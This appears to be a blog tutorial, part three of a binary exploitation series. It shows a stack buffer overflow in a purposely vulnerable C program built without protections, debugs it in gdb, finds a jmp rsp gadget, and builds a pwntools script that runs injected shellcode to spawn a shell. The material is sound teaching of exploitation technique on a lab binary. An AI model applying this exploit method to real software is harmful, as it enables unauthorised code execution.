Binary Exploitation Series (3): Your first Exploit
Our first target is a really simple binary where we have basic ASLR enabled (only Heap and Stack are randomized). For this example, we will disable other protections like non-executable memory regions or PIE to make our stack overflow easier.
Target
The following code snippet is a simple C program that reads 200 bytes from stdin
to a buffer which has only a size of 16 bytes. Therefore, we can write out of bounds. We compile the target with an executable stack and no other protections. Note, that ASLR is enabled because this is on today’s operation systems most of the time the case.
#include <stdio.h>
#include <stdlib.h>
//gcc -m64 -o chapter_3 chapter_3.c -no-pie -fno-stack-protector -z execstack -masm=intel
// help function to make this task easier, ignore it
void help() {
asm("jmp rsp");
}
int main(int argc, char **argv) {
char buffer[16]; // 16 byte buffer
fgets(buffer, 200, stdin); // bug, we'll read 200 bytes into a 16 byte buffer
return 0; // triggers return / return address is overflowed
}
Analysis
First, we load the binary into gdb
.
gdb -q ./chapter_3
Reading symbols from ./chapter_3...(no debugging symbols found)...done.
gef➤ checksec # to check if there are any protections
[+] checksec for '/BinaryExploitationSeries/Chapter 3/chapter_3'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : Partial
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000400527 <+0>: push rbp
0x0000000000400528 <+1>: mov rbp,rsp
0x000000000040052b <+4>: sub rsp,0x20
0x000000000040052f <+8>: mov DWORD PTR [rbp-0x14],edi # arg1 argc
0x0000000000400532 <+11>: mov QWORD PTR [rbp-0x20],rsi # arg2 argv
0x0000000000400536 <+15>: mov rdx,QWORD PTR [rip+0x200af3] # 0x601030 <stdin@@GLIBC_2.2.5>
0x000000000040053d <+22>: lea rax,[rbp-0x10] # buffer
0x0000000000400541 <+26>: mov esi,0xc8 # count = 200
0x0000000000400546 <+31>: mov rdi,rax
0x0000000000400549 <+34>: call 0x400430 <fgets@plt>
0x000000000040054e <+39>: mov eax,0x0 # return value = 0
0x0000000000400553 <+44>: leave
0x0000000000400554 <+45>: ret
End of assembler dump.
We can see at main+22
that our buffer is stored at rbp+0x10
and is used as an argument for fgets
. Let’s try to overflow the buffer. For the payload generation we will use ipython
.
Payload in ipython:
In [1]: "A"*16+"B"*8+"C"*8
Out[1]: 'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC' # our payload
gef➤ run
Starting program: /BinaryExploitationSeries/Chapter 3/chapter_3
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC # our payload
...
[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV # binary crashed
gef➤ x/gx $rbp
0x4242424242424242 # rbp is overwritten with B's
gef➤ x/gx $rsp # show a giant word (64-bit value) at $rsp (stack pointer)
0x7fffffffddb8: 0x4343434343434343
# binary tried to return to 8x C's which is forbidden since 64-bit Intel architecture only uses the first
# 6 bytes to address an instruction. (0x0000414141414141)
Let’s change the return address to a valid value.
Payload: AAAAAAAAAAAAAAAABBBBBBBBCCCCC # we only send 5x C's because we have a newline (0x0a) at the end
# we can get rid of the newline if we directly use python or pipe from a file
[#0] Id 1, Name: "chapter_3", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000a4343434343 in ?? ()
# Now we have redirected execution to 0xa4343434343 which is an invalid address.
# We can verify the redirection with
gef➤ x/gx $rip
0xa4343434343
For the next steps, we put a breakpoint on the return instruction of the main to see our stack layout before returning.
b *main+45
Additionally, we provide some more data on the stack to have a better understanding of the data in the registers and on the stack.
New Payload: "A"*16+"B"*8+"C"*8+"D"*100
$rax : 0x0
$rbx : 0x0
$rcx : 0x4444444444444444 ("DDDDDDDD"?)
$rdx : 0x7ffff7dd18d0 → 0x0000000000000000
$rsp : 0x7fffffffddb8 → "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
$rbp : 0x4242424242424242 ("BBBBBBBB"?)
$rsi : 0x7fffffffdda0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDD[...]"
$rdi : 0x7fffffffde25 → 0x0000000000000000
$rip : 0x40055d → <main+45> ret
$r8 : 0x6022e5 → 0x0000000000000000
$r9 : 0x4444444444444444 ("DDDDDDDD"?)
$r10 : 0x4444444444444444 ("DDDDDDDD"?)
$r11 : 0x4444444444444444 ("DDDDDDDD"?)
$r12 : 0x400440 → <_start+0> xor ebp, ebp
$r13 : 0x7fffffffde90 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0000 $ss: 0x002b $cs: 0x0033 $es: 0x0000 $fs: 0x0000 $ds: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffddb8│+0x00: "CCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]" ← $rsp
0x00007fffffffddc0│+0x08: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddc8│+0x10: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd0│+0x18: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddd8│+0x20: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde0│+0x28: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffdde8│+0x30: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
0x00007fffffffddf0│+0x38: "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x400552 <main+34> call 0x400430 <fgets@plt>
0x400557 <main+39> mov eax, 0x0
0x40055c <main+44> leave
→ 0x40055d <main+45> ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "chapter_3", stopped, reason: BREAKPOINT
Before you read any further, be sure that you understood what ASLR (Address Space Layout Randomization) and NX (Non-Executable Stack) means.
Since we have an executable stack, we can put our shellcode directly on the stack. The problem is, that we still have ASLR enabled and therefore, can’t reliably know where our shellcode is placed. To solve this problem, we can use a so-called gadget. Gadgets are small parts of an executable section (in general instructions of the .text
section) which have always a return/jmp instruction (an instruction which redirects the execution flow) at the end.
For example:
Gadget1:
pop rdx # pull an 8-byte value from the top of the stack
ret # return
Gadget2:
mov rax, rsi
JMP rax
Now, the idea is, that we can use these gadgets for our purpose. If we place the address of gadget1 as the return address of our function we can redirect the execution flow to this gadget.
Where do we find these gadgets?
We could use manual analysis of the binary to find suitable gadgets but we can also do this automatically with ropper
or ROPgadget
.
For this target, we need a gadget that redirects the execution flow to our buffer (best case our D’s on the stack). If we look carefully, we can see that the jmp rsp
gadget of our help function is available. This gadget is perfect, because after we triggered the overflow via ret
the rsp
register points to the first byte of our payload after the return address
which is, in fact, the first D.
ROPgadget --binary chapter_3 | grep jmp
0x000000000040049e : adc byte ptr [rax], ah ; jmp rax
0x000000000040060d : add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060f : add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060b : inc esp ; add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x0000000000400499 : je 0x4004b0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x00000000004004db : je 0x4004f0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x000000000040068b : jmp qword ptr [rax]
0x00000000004004a1 : jmp rax
0x000000000040052b : jmp rsp <--------
0x0000000000400526 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; jmp rsp
0x0000000000400529 : mov ebp, esp ; jmp rsp
0x000000000040049c : mov edi, 0x601030 ; jmp rax
0x0000000000400528 : mov rbp, rsp ; jmp rsp
0x000000000040049b : pop rbp ; mov edi, 0x601030 ; jmp rax
0x0000000000400527 : push rbp ; mov rbp, rsp ; jmp rsp
Let’s write our first exploit:
from pwn import *
r = process("./chapter_3")
context.binary = './chapter_3'
# attach gdb and continue
gdb.attach(r.pid, """c""")
gadget = 0x000000000040052b # jmp rsp
payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
payload += "\xcc"*100
r.sendline(payload)
r.interactive() # we don't want to close the application
We can see in gdb
that the target triggered a sigtrap
while executing our buffer. Our gadget worked!
Now we just have to replace our buffer with real shellcode. This is very easy with pwntools because it has some shellcodes inbuilt.
from pwn import *
r = process("./chapter_3")
context.binary = './chapter_3'
# attach gdb and continue
gdb.attach(r.pid, """c""")
gadget = 0x000000000040052b # jmp rsp
payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
# payload += "\xcc"*100
payload += asm(shellcraft.sh()) # shellcode to spawn a shell
r.sendline(payload)
r.interactive() # we don't want to close the application
python chapter_3_exploit.py
[+] Starting local process './chapter_3': pid 5622
[*] '/BinaryExploitationSeries/Chapter 3/chapter_3'
Arch: amd64-64-little
RelRO: Partial RelRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] running in new terminal: /usr/bin/gdb -q "/BinaryExploitationSeries/Chapter 3/chapter_3" 5622 -x "/tmp/pwne4TDcJ.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ ls
chapter_3 chapter_3.c chapter_3_exploit.py
$
Yeah, we popped our first shell!
The next post will be about bypassing non-executable stack aka return to libc and a small information leak.
Happy Hacking!